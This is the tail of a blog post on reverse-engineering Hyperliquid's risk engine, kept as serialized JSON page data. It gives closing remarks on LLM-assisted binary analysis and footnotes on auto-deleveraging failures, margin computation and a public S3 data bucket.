\"what\".",{"type":23,"tag":24,"props":165157,"children":165158},{},[165159],{"type":28,"value":165160},"Still, there is no doubt that LLMs have greatly accelerated progress in the field, and the dream of throwing a well-armed swarm of agents at an ugly blob of machine code to extract meaningful—and, most importantly, correct—representations and source code is nearing.",{"type":23,"tag":24,"props":165162,"children":165163},{},[165164],{"type":28,"value":165165},"We hope to be part of that future, where even complex and obfuscated systems will be verifiable at a glance.",{"type":23,"tag":165167,"props":165168,"children":165169},"report-footnotes",{},[165170],{"type":23,"tag":5436,"props":165171,"children":165172},{},[165173,165178,165205,165210,165215],{"type":23,"tag":421,"props":165174,"children":165175},{},[165176],{"type":28,"value":165177},"ADL crashes the node upon failure. Specifically, if we don't manage to complete all of the fills against anybody, an assertion in the loop fails.",{"type":23,"tag":421,"props":165179,"children":165180},{},[165181,165187,165189,165195,165197,165203],{"type":23,"tag":37,"props":165182,"children":165184},{"className":165183},[],[165185],{"type":28,"value":165186},"compute_user_margin_and_shortfall",{"type":28,"value":165188}," is a ubiquitous function for accounting. In its main branch, we loop over a B-tree (note the repeating offsets ",{"type":23,"tag":37,"props":165190,"children":165192},{"className":165191},[],[165193],{"type":28,"value":165194},"0x748",{"type":28,"value":165196}," in the abstract expressions of ",{"type":23,"tag":37,"props":165198,"children":165200},{"className":165199},[],[165201],{"type":28,"value":165202},"btree_cursor",{"type":28,"value":165204},") of per-user positions, branching out based on cross/isolated positions (in order to know what to consider for notional).",{"type":23,"tag":421,"props":165206,"children":165207},{},[165208],{"type":28,"value":165209},"Also, the specifics of how prices are fetched have been hand-waved for simplicity, but the system is pessimistic at every step when computing notionals.",{"type":23,"tag":421,"props":165211,"children":165212},{},[165213],{"type":28,"value":165214},"Some loop iterations within the ADL code look very inefficient; for example, we seem to sort and come up with sorted counterparties for each position to be absorbed.",{"type":23,"tag":421,"props":165216,"children":165217},{},[165218,165220,165226],{"type":28,"value":165219},"Some of the historical data from Hyperliquid can be retrieved via this S3 bucket: ",{"type":23,"tag":37,"props":165221,"children":165223},{"className":165222},[],[165224],{"type":28,"value":165225},"s3://hl-mainnet-node-data/explorer_blocks",{"type":28,"value":706},{"title":7,"searchDepth":54,"depth":54,"links":165228},[165229,165230,165231,165232,165233,165236,165237,165238,165241,165242,165245,165249],{"id":158620,"depth":54,"text":158623},{"id":158613,"depth":54,"text":158641},{"id":158698,"depth":54,"text":158701},{"id":158979,"depth":54,"text":158982},{"id":159013,"depth":54,"text":159016,"children":165234},[165235],{"id":159152,"depth":76,"text":159155},{"id":159931,"depth":54,"text":159934},{"id":160027,"depth":54,"text":160030},{"id":160245,"depth":54,"text":160248,"children":165239},[165240],{"id":160490,"depth":76,"text":160493},{"id":160550,"depth":54,"text":160553},{"id":164916,"depth":54,"text":164919,"children":165243},[165244],{"id":164948,"depth":76,"text":164951},{"id":165007,"depth":54,"text":165010,"children":165246},[165247,165248],{"id":165013,"depth":76,"text":165016},{"id":165032,"depth":76,"text":160587},{"id":165062,"depth":54,"text":165065,"children":165250},[165251,165252,165253,165254],{"id":165073,"depth":76,"text":165076},{"id":165095,"depth":76,"text":165098},{"id":165111,"depth":76,"text":165114},{"id":165135,"depth":76,"text":165138},"content:blog:2026-06-22-hyperliquid-risk-engine.md","blog/2026-06-22-hyperliquid-risk-engine.md","blog/2026-06-22-hyperliquid-risk-engine",1790954630614]